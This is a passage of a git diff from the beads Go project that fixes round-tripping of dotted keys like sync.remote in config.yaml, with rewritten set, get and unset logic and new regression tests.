"github.com/steveyegge/beads/internal/storage/schema" @@ -383,12 +384,18 @@ func TestEmbeddedInit(t *testing.T) { t.Fatalf("init without git origin should not configure a Dolt remote; remote list:\n%s", out) } - configYAML, err := os.ReadFile(filepath.Join(dir, ".beads", "config.yaml")) + // Asserted by reading it back, not by matching a spelling. The + // writer nests (bd-zj95), so "the substring `sync.remote:` is + // absent" is now satisfied by a config.yaml that DOES persist a + // remote — this guard would have sailed past the regression it + // exists to catch. + beadsDir := filepath.Join(dir, ".beads") + configYAML, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) if err != nil { t.Fatalf("read config.yaml: %v", err) } - if strings.Contains(string(configYAML), "sync.remote:") || strings.Contains(string(configYAML), "sync-remote:") { - t.Fatalf("init without git origin should not persist sync.remote; config.yaml:\n%s", configYAML) + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != "" { + t.Fatalf("init without git origin persisted sync.remote = %q; config.yaml:\n%s", got, configYAML) } } }) @@ -924,12 +931,15 @@ func TestEmbeddedInit(t *testing.T) { t.Fatalf("stealth init should not synthesize a Dolt remote; remote list:\n%s", out) } - configYAML, err := os.ReadFile(filepath.Join(dir, ".beads", "config.yaml")) + // Read back rather than grep for a spelling: see the same guard in + // the no-git-origin case above. + beadsDir := filepath.Join(dir, ".beads") + configYAML, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) if err != nil { t.Fatalf("read config.yaml: %v", err) } - if strings.Contains(string(configYAML), "sync.remote:") || strings.Contains(string(configYAML), "sync-remote:") { - t.Fatalf("stealth init should not persist sync.remote; config.yaml:\n%s", configYAML) + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != "" { + t.Fatalf("stealth init persisted sync.remote = %q; config.yaml:\n%s", got, configYAML) } } diff --git a/cmd/bd/init_remote_test.go b/cmd/bd/init_remote_test.go index 0243689dd..71aed22bf 100644 --- a/cmd/bd/init_remote_test.go +++ b/cmd/bd/init_remote_test.go @@ -6,6 +6,7 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" ) @@ -125,9 +126,8 @@ func TestPersistInitSyncRemoteExplicitRemoteWritesTargetDir(t *testing.T) { } callerConfig := filepath.Join(callerBeadsDir, "config.yaml") - if err := os.WriteFile(callerConfig, []byte("sync.remote: git+ssh://git@example.com/wrong/repo.git\n"), 0o600); err != nil { - t.Fatal(err) - } + const callerRemote = "git+ssh://git@example.com/wrong/repo.git" + seedSyncRemote(t, callerBeadsDir, callerRemote) targetConfig := filepath.Join(targetBeadsDir, "config.yaml") if err := os.WriteFile(targetConfig, []byte("# Beads Config\n"), 0o600); err != nil { t.Fatal(err) @@ -162,6 +162,56 @@ func TestPersistInitSyncRemoteExplicitRemoteWritesTargetDir(t *testing.T) { if strings.Contains(string(callerBytes), remote) { t.Fatalf("caller config.yaml was modified instead of target:\n%s", callerBytes) } + // Stronger than the absence above: the caller still resolves to what it had. + // A write that landed somewhere unreadable would satisfy "does not contain + // the new remote" while having quietly destroyed the old one. + if got := config.GetStringFromDir(callerBeadsDir, "sync.remote"); got != callerRemote { + t.Fatalf("caller sync.remote = %q, want it untouched at %q:\n%s", got, callerRemote, callerBytes) + } +} + +// `bd init --remote` runs createConfigYaml and then immediately writes +// sync.remote into what it just created. That template is comments and nothing +// else, which is the one document shape yaml.v3 parses to no nodes at all — so a +// writer that round-trips a node tree has nothing to write back but the key it +// added, and the operator's first commit after init carries a config.yaml with +// its entire documentation deleted. It is git-tracked, so they see it. +// +// This runs the real pair in the real order rather than asserting on a replica +// of the template, so it stays true if either side moves. +func TestInitPersistingSyncRemoteKeepsTheConfigTemplate(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + if err := createConfigYaml(beadsDir, false, ""); err != nil { + t.Fatalf("createConfigYaml: %v", err) + } + template, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) + if err != nil { + t.Fatal(err) + } + + const remote = "git+ssh://git@example.com/right/repo.git" + if err := persistInitSyncRemote(beadsDir, remote, remote, false, true, false); err != nil { + t.Fatalf("persistInitSyncRemote: %v", err) + } + + body, err := os.ReadFile(filepath.Join(beadsDir, "config.yaml")) + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(string(template), "\n") { + if strings.TrimSpace(line) == "" { + continue + } + if !strings.Contains(string(body), line) { + t.Errorf("init dropped a line of its own config template: %q\ngot:\n%s", line, body) + } + } + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != remote { + t.Errorf("sync.remote = %q, want %q\n%s", got, remote, body) + } } func TestInitTimeCloneConfigExternalDefaultsAreSelfContained(t *testing.T) { diff --git a/cmd/bd/sync_remote_fixture_test.go b/cmd/bd/sync_remote_fixture_test.go new file mode 100644 index 000000000..d5870dfba --- /dev/null +++ b/cmd/bd/sync_remote_fixture_test.go @@ -0,0 +1,48 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/config" +) + +// seedSyncRemote records a sync remote in beadsDir the way bd records one, and +// proves it is readable afterwards. +// +// The tests that use this used to hand-write `sync.remote: ` into +// config.yaml — a key whose NAME contains a dot. That spelling is not what bd's +// writer produces and not what config.GetStringFromDir can read: it splits on +// the dot and walks nested mappings. Viper happens to find a literal dotted key +// as well as a nested one, so those fixtures worked through one reader while +// being invisible to the other — the exact asymmetry bd-zj95 was, and the +// reason the fixtures were green while the bug was live. +// +// Writing through the real writer and asserting the read-back means these tests +// can no longer encode a spelling at all. If the round trip breaks again, the +// fixture fails here, naming the property, rather than some downstream +// assertion failing for a reason that looks unrelated. +func seedSyncRemote(t *testing.T, beadsDir, remote string) { + t.Helper() + path := filepath.Join(beadsDir, "config.yaml") + if _, err := os.Stat(path); os.IsNotExist(err) { + // SetYamlConfigInDir edits an existing file; it declines to create one, + // which is a deliberate guard against writing config into a directory + // that is not a workspace. + if writeErr := os.WriteFile(path, nil, 0o644); writeErr != nil { //nolint:gosec // test fixture + t.Fatalf("create config.yaml: %v", writeErr) + } + } else if err != nil { + t.Fatalf("stat config.yaml: %v", err) + } + + if err := config.SetYamlConfigInDir(beadsDir, "sync.remote", remote); err != nil { + t.Fatalf("record sync.remote: %v", err) + } + if got := config.GetStringFromDir(beadsDir, "sync.remote"); got != remote { + body, _ := os.ReadFile(path) //nolint:gosec,errcheck // diagnostic only + t.Fatalf("sync.remote does not read back after being written: got %q, want %q\nconfig.yaml:\n%s", + got, remote, body) + } +} diff --git a/internal/config/config.go b/internal/config/config.go index 808c6725c..ae48de830 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -700,6 +700,11 @@ func GetStringFromDir(beadsDir, key string) string { if err := yaml.Unmarshal(data, &root); err != nil { return "" } + // Match Viper's precedence: an exact top-level key wins over dotted-path + // descent when a file contains both spellings. + if val, ok := root[key]; ok { + return configValueString(val) + } parts := strings.SplitN(key, ".", 2) node := root for len(parts) == 2 { @@ -718,6 +723,10 @@ func GetStringFromDir(beadsDir, key string) string { if !ok { return "" } + return configValueString(val) +} + +func configValueString(val interface{}) string { switch s := val.(type) { case string: return s diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 3452449c5..2451584e7 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -6,6 +6,8 @@ import ( "runtime" "strings" "testing" + + "github.com/spf13/viper" ) // envSnapshot saves and clears BD_/BEADS_ environment variables. @@ -1688,6 +1690,34 @@ func TestGetStringFromDir(t *testing.T) { } }) + t.Run("literal flat dotted key", func(t *testing.T) { + dir := t.TempDir() + writeConfig(t, dir, "dolt.host: 127.0.0.1\n") + if got := GetStringFromDir(dir, "dolt.host"); got != "127.0.0.1" { + t.Errorf("got %q, want %q", got, "127.0.0.1") + } + }) + + t.Run("literal flat dotted key wins over nested spelling", func(t *testing.T) { + dir := t.TempDir() + writeConfig(t, dir, "dolt.host: 127.0.0.1\ndolt:\n host: 10.0.0.1\n") + got := GetStringFromDir(dir, "dolt.host") + if got != "127.0.0.1" { + t.Errorf("got %q, want the literal-key value %q", got, "127.0.0.1") + } + + savedV := v + v = viper.New() + t.Cleanup(func() { v = savedV }) + v.SetConfigFile(filepath.Join(dir, "config.yaml")) + if err := v.ReadInConfig(); err != nil { + t.Fatalf("ReadInConfig: %v", err) + } + if viperGot := GetString("dolt.host"); viperGot != got { + t.Errorf("readers disagree: GetString = %q, GetStringFromDir = %q", viperGot, got) + } + }) + t.Run("non-existent file returns empty string", func(t *testing.T) { dir := t.TempDir() if got := GetStringFromDir(dir, "dolt.auto-start"); got != "" { diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index f86b0ef2c..a27def39b 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -247,23 +247,8 @@ func checkSecretGitTracked(configPath, key string) error { ) } -// keyAliases maps alternative key names to their canonical yaml form. -// This ensures consistency when users use different formats (dot vs hyphen). -var keyAliases = map[string]string{} - -// normalizeYamlKey converts a key to its canonical yaml format. -// Some keys have aliases (e.g., sync.branch -> sync-branch) to handle -// different input formats consistently. -func normalizeYamlKey(key string) string { - if canonical, ok := keyAliases[key]; ok { - return canonical - } - return key -} - // SetYamlConfig sets a configuration value in the project's config.yaml file. // It handles both adding new keys and updating existing (possibly commented) keys. -// Keys are normalized to their canonical yaml format (e.g., sync.branch -> sync-branch). func SetYamlConfig(key, value string) error { // Validate specific keys (GH#995) if err := validateYamlConfigValue(key, value); err != nil { @@ -524,8 +509,6 @@ func UnsetUserYamlConfig(key string) error { if err != nil { return err } - normalizedKey := normalizeYamlKey(key) - content, err := os.ReadFile(configPath) //nolint:gosec // configPath is a validated absolute user config path if err != nil { if os.IsNotExist(err) { @@ -534,7 +517,10 @@ func UnsetUserYamlConfig(key string) error { return fmt.Errorf("failed to read user config.yaml: %w", err) } - newContent := commentOutYamlKey(string(content), normalizedKey) + newContent, err := commentOutYamlKey(string(content), key) + if err != nil { + return err + } // Preserve the owner-private 0600 posture every other user-global writer // uses (SetUserYamlConfig, setYamlConfigAtPath, the metrics bootstrap); @@ -568,10 +554,6 @@ func SetUserYamlConfig(key, value string) error { } func setYamlConfigAtPath(configPath, key, value string) error { - - // Normalize key to canonical yaml format - normalizedKey := normalizeYamlKey(key) - // Read existing config content, err := os.ReadFile(configPath) //nolint:gosec // configPath is from findProjectConfigYaml if err != nil { @@ -579,7 +561,7 @@ func setYamlConfigAtPath(configPath, key, value string) error { } // Update or add the key - newContent, err := updateYamlKey(string(content), normalizedKey, value) + newContent, err := updateYamlKey(string(content), key, value) if err != nil { return err } @@ -594,13 +576,11 @@ func setYamlConfigAtPath(configPath, key, value string) error { // GetYamlConfig gets a configuration value from config.yaml. // Returns empty string if key is not found or is commented out. -// Keys are normalized to their canonical yaml format (e.g., sync.branch -> sync-branch). func GetYamlConfig(key string) string { if v == nil { return "" } - normalizedKey := normalizeYamlKey(key) - return v.GetString(normalizedKey) + return v.GetString(key) } // UnsetYamlConfig removes a configuration value from the project's config.yaml file. @@ -611,14 +591,15 @@ func UnsetYamlConfig(key string) error { return err } - normalizedKey := normalizeYamlKey(key) - content, err := os.ReadFile(configPath) //nolint:gosec // configPath is from findProjectConfigYaml if err != nil { return fmt.Errorf("failed to read config.yaml: %w", err) } - newContent := commentOutYamlKey(string(content), normalizedKey) + newContent, err := commentOutYamlKey(string(content), key) + if err != nil { + return err + } if err := os.WriteFile(configPath, []byte(newContent), 0600); err != nil { //nolint:gosec // configPath is validated return fmt.Errorf("failed to write config.yaml: %w", err) @@ -706,8 +687,6 @@ func findProjectBeadsDir() string { // updateYamlKey updates a key in yaml content, handling commented-out keys. // If the key exists (commented or not), it updates it in place. // If the key doesn't exist, it appends it at the end. -// -//nolint:unparam // error return kept for future validation func updateYamlKey(content, key, value string) (string, error) { if strings.Contains(key, ".") { if updated, ok, err := updateNestedYamlKey(content, key, value); err != nil { @@ -768,20 +747,59 @@ func updateNestedYamlKey(content, key, value string) (string, bool, error) { return "", false, err } if len(root.Content) == 0 { - return "", false, nil + // An empty or comment-only document parses to no nodes at all: yaml.v3 + // keeps no trace of its text, not even the comments. So there is nothing + // to nest into AND nothing to marshal back — fabricating a mapping here + // would emit the new key and silently delete everything else in the + // file, and `bd init`'s default template is exactly this shape, comments + // and nothing else. Append the rendered key to the text instead, which + // leaves the document byte for byte intact. Falling through to the flat + // writer is not an option either: that is what produced a key literally + // named "dolt.host", which GetStringFromDir — splitting on the dot and + // looking for a nested mapping — can never read back. + appended, err := appendNestedYamlKey(content, parts, value) + if err != nil { + return "", false, err + } + return appended, true, nil } mapping := root.Content[0] if mapping.Kind != yaml.MappingNode { - return "", false, nil + return "", false, fmt.Errorf("cannot set %q: the top level of this config file is not a mapping", key) } - if findMappingChild(mapping, key) != -1 { - return "", false, nil + // Preserve the spelling already chosen by the file's writer. config.yaml is + // shared with integrations that intentionally use literal dotted top-level + // keys, so migrating that node would make it invisible to those readers. + // + // Rewrite the one line the key is on rather than marshaling the document + // back: this branch exists to leave a file other writers share alone, and a + // whole-document marshal reformats every unrelated section of it — dropping + // blank separators, re-indenting nested blocks from two spaces to four, + // collapsing comment alignment. config.yaml is git-tracked, so a one-key set + // would show up as a whole-file diff nobody asked for. + if idx := findMappingChild(mapping, key); idx != -1 { + keyNode, valueNode := mapping.Content[idx], mapping.Content[idx+1] + if updated, ok := replaceFlatKeyLine(content, keyNode, valueNode, value); ok { + return updated, true, nil + } + // The entry does not fit on its own line, so there is no single line to + // swap. Marshal it back, reformatting and all: a correct value in a + // reformatted file beats a value written somewhere no reader looks. + valueNode.Kind = yaml.ScalarNode + valueNode.Tag = "" + valueNode.Style = scalarStyleFor(value) + valueNode.Value = value + out, err := yaml.Marshal(&root) + if err != nil { + return "", false, err + } + return string(out), true, nil } - leaf, ok := findOrCreateNestedScalar(mapping, parts) - if !ok { - return "", false, nil + leaf, err := findOrCreateNestedScalar(mapping, parts) + if err != nil { + return "", false, err } leaf.Kind = yaml.ScalarNode @@ -796,12 +814,73 @@ func updateNestedYamlKey(content, key, value string) (string, bool, error) { return string(out), true, nil } -func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, bool) { +// replaceFlatKeyLine swaps the value on the single line a top-level key and its +// scalar value share, keeping the key exactly as the file spells it — quoting, +// indentation and all — and leaving every other line byte for byte alone. The +// rewritten line keeps its own trailing comment too, so the only thing that +// changes anywhere in the file is the value that was asked for. +// +// Reports false when the entry is not that shape. The line is only safe to +// replace when it is the whole entry: a value that continues onto later lines (a +// block scalar, a nested mapping, a quoted string wrapped across lines) would +// have its body left behind. Parsing the one line on its own settles that, since +// a top-level entry that ends on its line is a complete document. +func replaceFlatKeyLine(content string, keyNode, valueNode *yaml.Node, value string) (string, bool) { + lines := strings.Split(content, "\n") + i := keyNode.Line - 1 + if i < 0 || i >= len(lines) { + return "", false + } + + var probe map[string]string + if err := yaml.Unmarshal([]byte(lines[i]), &probe); err != nil { + return "", false + } + if len(probe) != 1 || probe[keyNode.Value] != valueNode.Value { + return "", false + } + head, _, found := strings.Cut(lines[i], ":") + if !found || strings.Trim(strings.TrimSpace(head), `"'`) != keyNode.Value { + return "", false + } + + tail := trailingCommentOn(lines[i], keyNode, valueNode) + lines[i] = head + ": " + formatYamlValue(value) + tail + return strings.Join(lines, "\n"), true +} + +// trailingCommentOn returns the entry's end-of-line comment together with the +// whitespace separating it from the value, exactly as line spells both, or "" +// when the line carries no comment. +// +// The line is rebuilt from the key and the new value, so an operator's note on +// the one line this branch rewrites would otherwise be the single thing a +// "rewrite only this line" edit silently dropped. Matching yaml.v3's already +// parsed comment text back from the right is what keeps a "#" inside a quoted +// value (`host: 'a # b' # note`) from being mistaken for the comment. yaml.v3 +// hangs the comment on the value node, except when the value is empty and there +// is no value node line to hang it on, so both are consulted. +func trailingCommentOn(line string, keyNode, valueNode *yaml.Node) string { + comment := valueNode.LineComment + if comment == "" { + comment = keyNode.LineComment + } + if comment == "" { + return "" + } + start := strings.LastIndex(line, comment) + if start < 0 { + return " " + comment + } + for start > 0 && (line[start-1] == ' ' || line[start-1] == '\t') { + start-- + } + return line[start:] +} + +func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, error) { current := mapping for i, part := range parts { - if current.Kind != yaml.MappingNode { - return nil, false - } idx := findMappingChild(current, part) isLeaf := i == len(parts)-1 if idx == -1 { @@ -814,21 +893,60 @@ func findOrCreateNestedScalar(mapping *yaml.Node, parts []string) (*yaml.Node, b } current.Content = append(current.Content, keyNode, valNode) if isLeaf { - return valNode, true + return valNode, nil } current = valNode continue } child := current.Content[idx+1] if isLeaf { - return child, true + return child, nil + } + if child.Tag == "!!null" { + // A section with nothing left under it — `sync:` and no more, which + // is exactly what an unset leaves behind once it has commented the + // last leaf out. It holds no value to lose, so treat it as the empty + // mapping it looks like. Refusing here sent the caller to the flat + // writer, so set -> unset -> set put the unreadable `sync.remote:` + // spelling back into the file this whole fix exists to keep out. + child.Kind = yaml.MappingNode + child.Tag = "!!map" + child.Value = "" + child.Style = 0 } if child.Kind != yaml.MappingNode { - return nil, false + return nil, fmt.Errorf("cannot set %q: %q already holds a value, so there is no section to nest under it", + strings.Join(parts, "."), strings.Join(parts[:i+1], ".")) } current = child } - return nil, false + // Unreachable: every path through the loop returns on the last part. + return nil, fmt.Errorf("cannot set %q: no key to write", strings.Join(parts, ".")) +} + +// appendNestedYamlKey renders just the key being written and appends it to the +// document text. Used when the document has no nodes to walk, where the text is +// the only copy of the file's contents that exists. +func appendNestedYamlKey(content string, parts []string, value string) (string, error) { + node := &yaml.Node{Kind: yaml.ScalarNode, Style: scalarStyleFor(value), Value: value} + for i := len(parts) - 1; i >= 0; i-- { + node = &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map", Content: []*yaml.Node{ + {Kind: yaml.ScalarNode, Tag: "!!str", Value: parts[i]}, + node, + }} + } + rendered, err := yaml.Marshal(node) + if err != nil { + return "", err + } + + // Same spacing the flat writer uses: a blank line between whatever was + // already in the file and the key being added. + existing := strings.TrimRight(content, "\n") + if existing == "" { + return string(rendered), nil + } + return existing + "\n\n" + string(rendered), nil } func findMappingChild(mapping *yaml.Node, name string) int { @@ -861,27 +979,234 @@ func scalarStyleFor(value string) yaml.Style { return 0 } -func commentOutYamlKey(content, key string) string { - keyPattern := regexp.MustCompile(`^(\s*)` + regexp.QuoteMeta(key) + `\s*:`) +func commentOutYamlKey(content, key string) (string, error) { + if err := unsupportedUnsetShape(content, key); err != nil { + return "", err + } + + // The flat spelling first — a key literally named "sync.remote", which + // older files carry and which this function has always handled. + flatPattern := regexp.MustCompile(`^(\s*)` + regexp.QuoteMeta(key) + `\s*:`) + // And the nested one, which is what the writer produces. Missing this half + // made an unset silently do nothing once the writer started nesting: the + // value stayed live, so bd kept a setting the operator had asked it to + // forget. Unset is the other direction of the same round-trip property as + // set and get, and all three have to agree on the shape. + walk := newNestedKeyWalk(key) var result []string + // blockIndent is the indentation of the key that opened a literal or folded + // block scalar, or -1 outside one. Everything indented past that key is the + // value the user typed, not structure: `notes: |` with an indented + // `remote: keep-this` inside it is prose, and commenting it out edits their + // data. Matching by line has to skip those lines to stay honest. + blockIndent := -1 scanner := bufio.NewScanner(strings.NewReader(content)) for scanner.Scan() { line := scanner.Text() - if keyPattern.MatchString(line) { - matches := keyPattern.FindStringSubmatch(line) - indent := "" - if len(matches) > 1 { - indent = matches[1] + + if blockIndent >= 0 { + if strings.TrimSpace(line) == "" || lineIndent(line) > blockIndent { + result = append(result, line) + continue + } + blockIndent = -1 + } + blockIndent = blockScalarIndent(line) + + if matches := flatPattern.FindStringSubmatch(line); matches != nil { + result = append(result, matches[1]+"# "+strings.TrimLeft(line, " \t")) + continue + } + + if name, indent, ok := yamlKeyOnLine(line); ok && walk.step(name, indent) { + result = append(result, strings.Repeat(" ", indent)+"# "+strings.TrimLeft(line, " \t")) + continue + } + result = append(result, line) + } + + return strings.Join(result, "\n"), nil +} + +// nestedKeyWalk tracks how much of a dotted key a line-by-line scan has matched +// so far, so a leaf is commented out only when it is nested under its OWN +// parents rather than under some other section that happens to repeat a name. +type nestedKeyWalk struct { + segments []string + // depth is how many segments have been matched, and indents holds the + // indentation each was matched at. + depth int + indents []int + // opaque is the indentation of the last key line that could not continue + // the match, or -1. Everything nested under such a key belongs to some + // other path, so the walk steps over that whole subtree instead of + // descending into it and matching a leaf name that repeats there. + opaque int +} + +func newNestedKeyWalk(key string) *nestedKeyWalk { + return &nestedKeyWalk{segments: strings.Split(key, "."), opaque: -1} +} + +// step advances the walk by one mapping line and reports whether that line is +// the key being looked for. +func (w *nestedKeyWalk) step(name string, indent int) bool { + if len(w.segments) < 2 { + // A single-segment key has no nesting to walk; the flat pattern owns it. + return false + } + if w.opaque >= 0 && indent > w.opaque { + return false + } + w.opaque = -1 + // Leaving a block: drop every segment matched at an indent at or deeper + // than this line's. + for w.depth > 0 && indent <= w.indents[w.depth-1] { + w.depth-- + w.indents = w.indents[:w.depth] + } + // Both halves of the anchor matter, and missing either one made an unset + // edit keys it does not own. Segment 0 is only itself at the TOP level: + // without that, a `sync:` section nested under an unrelated key seeded the + // walk, so unsetting `dolt.host` commented out `other.dolt.host` too. And + // every later segment has to be a DIRECT child of the one before it: + // without that, an interposed section was stepped over rather than ending + // the match, so unsetting `sync.remote` on + // + // sync: + // sub: + // remote: keep + // remote: target + // + // commented out `sync.sub.remote` and left the real `sync.remote` live, + // reporting success — the silent divergence this whole fix exists to end. + if w.depth < len(w.segments) && name == w.segments[w.depth] && (w.depth > 0 || indent == 0) { + if w.depth == len(w.segments)-1 { + w.depth, w.indents = 0, nil + return true + } + w.indents = append(w.indents, indent) + w.depth++ + return false + } + w.opaque = indent + return false +} + +// unsupportedUnsetShape reports the two shapes named in the changelog — a key +// under a flow-style mapping, and a key whose value is a block scalar — in +// whichever spelling the file uses. Both used to be silent: the flow-style one +// reported success while the value stayed live, and the block scalar had its key +// line commented out while the body stayed behind as a value of its own. The set +// direction already refuses what it cannot write correctly, so unset says so too. +// +// This is a list of known shapes, not a decision procedure for the whole class: +// a mapping-valued key and a value that spans lines in flow or quoted style land +// their bodies in the same place and are still silent. +// +// Only a key that is actually present can be refused: unsetting a key that was +// never there has always been a successful no-op, and staying silent about a +// shape nobody asked to touch is the point. +func unsupportedUnsetShape(content, key string) error { + segments := strings.Split(key, ".") + if len(segments) < 2 { + return nil + } + var root yaml.Node + if err := yaml.Unmarshal([]byte(content), &root); err != nil || len(root.Content) == 0 { + // Nothing to walk. A file yaml.v3 cannot parse is not this function's + // to diagnose, and the line matcher has always been best-effort on it. + return nil + } + + // The flat spelling first, and by the same order the line matcher uses: it + // comments a literal `sync.remote:` line out without ever walking the nested + // path, so the body left behind orphans at the TOP level, where it stops the + // whole document from parsing rather than just its own section. + if top := root.Content[0]; top.Kind == yaml.MappingNode { + if idx := findMappingChild(top, key); idx != -1 { + if err := blockScalarUnsetRefusal(top.Content[idx+1], key); err != nil { + return err } - // Comment out the line, preserving indentation - result = append(result, indent+"# "+strings.TrimLeft(line, " \t")) - } else { - result = append(result, line) } } - return strings.Join(result, "\n") + node := root.Content[0] + parents := make([]*yaml.Node, 0, len(segments)) + for _, segment := range segments { + if node.Kind != yaml.MappingNode { + return nil + } + idx := findMappingChild(node, segment) + if idx == -1 { + return nil + } + parents = append(parents, node) + node = node.Content[idx+1] + } + + for i, parent := range parents { + if parent.Style&yaml.FlowStyle == 0 { + continue + } + where := "the top level of this config file" + if i > 0 { + where = fmt.Sprintf("%q", strings.Join(segments[:i], ".")) + } + return fmt.Errorf("cannot unset %q: %s is written in flow style ({...}), which bd cannot edit; remove the key by hand", key, where) + } + return blockScalarUnsetRefusal(node, key) +} + +// blockScalarUnsetRefusal refuses a key whose value is written as a block +// scalar, in whichever spelling the caller resolved it: commenting the key line +// out leaves the indented body behind, to be re-read as a value of whatever +// encloses it. +func blockScalarUnsetRefusal(valueNode *yaml.Node, key string) error { + if valueNode.Style&(yaml.LiteralStyle|yaml.FoldedStyle) == 0 { + return nil + } + return fmt.Errorf("cannot unset %q: its value is a block scalar (| or >), and commenting the key out would leave the body behind as a value of its own; remove the key by hand", key) +} + +// blockScalarIndent reports the indentation of a key whose value is a literal +// or folded block scalar (`notes: |`), or -1 when the line opens no block. +func blockScalarIndent(line string) int { + _, indent, ok := yamlKeyOnLine(line) + if !ok { + return -1 + } + _, rest, _ := strings.Cut(strings.TrimLeft(line, " \t"), ":") + rest = strings.TrimSpace(rest) + // "|" and ">" are only ever block indicators in value position; a plain + // scalar cannot start with either. + if rest == "" || (rest[0] != '|' && rest[0] != '>') { + return -1 + } + return indent +} + +func lineIndent(line string) int { + return len(line) - len(strings.TrimLeft(line, " \t")) +} + +// yamlKeyOnLine reports the key a mapping line declares and its indentation. +// Comments, list items and blank lines declare nothing. +func yamlKeyOnLine(line string) (name string, indent int, ok bool) { + trimmed := strings.TrimLeft(line, " \t") + if trimmed == "" || strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, "- ") { + return "", 0, false + } + key, _, found := strings.Cut(trimmed, ":") + if !found { + return "", 0, false + } + key = strings.TrimSpace(key) + if key == "" || strings.ContainsAny(key, " \t") { + return "", 0, false + } + return key, lineIndent(line), true } // formatYamlValue formats a value appropriately for YAML. diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index d6fd9522c..8603e1604 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -273,26 +273,6 @@ func TestFormatYamlValue(t *testing.T) { } } -func TestNormalizeYamlKey(t *testing.T) { - tests := []struct { - input string - expected string - }{ - {"no-db", "no-db"}, // no alias, unchanged - {"json", "json"}, // no alias, unchanged - {"routing.mode", "routing.mode"}, // no alias for this one - } - - for _, tt := range tests { - t.Run(tt.input, func(t *testing.T) { - got := normalizeYamlKey(tt.input) - if got != tt.expected { - t.Errorf("normalizeYamlKey(%q) = %q, want %q", tt.input, got, tt.expected) - } - }) - } -} - func TestSetYamlConfig(t *testing.T) { oldBeadsDir := os.Getenv("BEADS_DIR") if err := os.Unsetenv("BEADS_DIR"); err != nil { @@ -1055,7 +1035,10 @@ func TestCommentOutYamlKey(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - got := commentOutYamlKey(tt.content, tt.key) + got, err := commentOutYamlKey(tt.content, tt.key) + if err != nil { + t.Fatalf("commentOutYamlKey() error = %v", err) + } if got != tt.expected { t.Errorf("commentOutYamlKey() =\n%q\nwant:\n%q", got, tt.expected) } diff --git a/internal/config/yaml_nested_roundtrip_test.go b/internal/config/yaml_nested_roundtrip_test.go new file mode 100644 index 000000000..ab0d0ef58 --- /dev/null +++ b/internal/config/yaml_nested_roundtrip_test.go @@ -0,0 +1,717 @@ +package config + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// A dotted key must round-trip: whatever SetYamlConfigInDir writes, +// GetStringFromDir must read back. That is the whole contract between the two, +// and it is not a property either function can hold alone. +// +// It was broken in two directions, and both were reachable from ordinary files: +// +// - An empty or comment-only config.yaml has no mapping node, so the nested +// writer declined and the caller appended a literal `dolt.host: ...` line — +// a key whose NAME contains a dot. GetStringFromDir splits on the dot and +// looks for a nested mapping, so it never finds it. +// - A file that already carried such a flat key had it updated in place, but +// the direct reader did not understand that spelling. +// +// The observable consequence was a caller writing a value and immediately being +// unable to read it back. Both consumers found it the hard way (bd-zj95). +func TestDottedKeysRoundTripThroughEveryConfigShape(t *testing.T) { + cases := []struct { + name string + seed string + // present is true when the file should exist before the write. + present bool + }{ + {name: "absent file", present: false}, + {name: "empty file", seed: "", present: true}, + {name: "comment only", seed: "# a workspace config\n", present: true}, + {name: "flat dotted keys", seed: "dolt.host: 10.0.0.1\ndolt.port: 3307\n", present: true}, + {name: "flat commented key", seed: "# dolt.host: 10.0.0.1\n", present: true}, + {name: "existing dolt section", seed: "dolt:\n host: 10.0.0.1\n", present: true}, + {name: "unrelated nested section", seed: "sync:\n branch: beads-sync\n", present: true}, + {name: "unrelated flat key", seed: "node_id: somewhere\n", present: true}, + {name: "mixed flat and nested", seed: "dolt.host: 10.0.0.1\ndolt:\n port: 3307\n", present: true}, + } + + writes := map[string]string{ + "dolt.host": "127.0.0.1", + "dolt.port": "45678", + "dolt.auto-start": "true", + "dolt.mode": "server", + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "config.yaml") + if tc.present { + if err := os.WriteFile(path, []byte(tc.seed), 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + } else { + // SetYamlConfigInDir refuses a workspace with no config.yaml at + // all; that refusal is deliberate and not what this test is + // about, so give it the empty file it asks for. + if err := os.WriteFile(path, nil, 0o600); err != nil { + t.Fatalf("create: %v", err) + } + } + + for key, value := range writes { + if err := SetYamlConfigInDir(dir, key, value); err != nil { + t.Fatalf("SetYamlConfigInDir(%q): %v", key, err) + } + } + + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read: %v", err) + } + for key, want := range writes { + if got := GetStringFromDir(dir, key); got != want { + t.Errorf("GetStringFromDir(%q) = %q, want %q\nfile:\n%s", key, got, want, body) + } + } + // Do not introduce a new flat spelling. An existing flat spelling is + // preserved because another config writer may own that representation, + // and GetStringFromDir now reads it consistently with Viper. + for _, line := range strings.Split(string(body), "\n") { + if line != strings.TrimSpace(line) || strings.HasPrefix(line, "#") { + continue // indented: inside a mapping. commented: not a key. + } + name, _, isKeyValue := strings.Cut(line, ":") + name = strings.TrimSpace(name) + if isKeyValue && writes[name] != "" && !hasLiveFlatKey(tc.seed, name) { + t.Errorf("the write introduced a live flat %q:\n%s", name, body) + 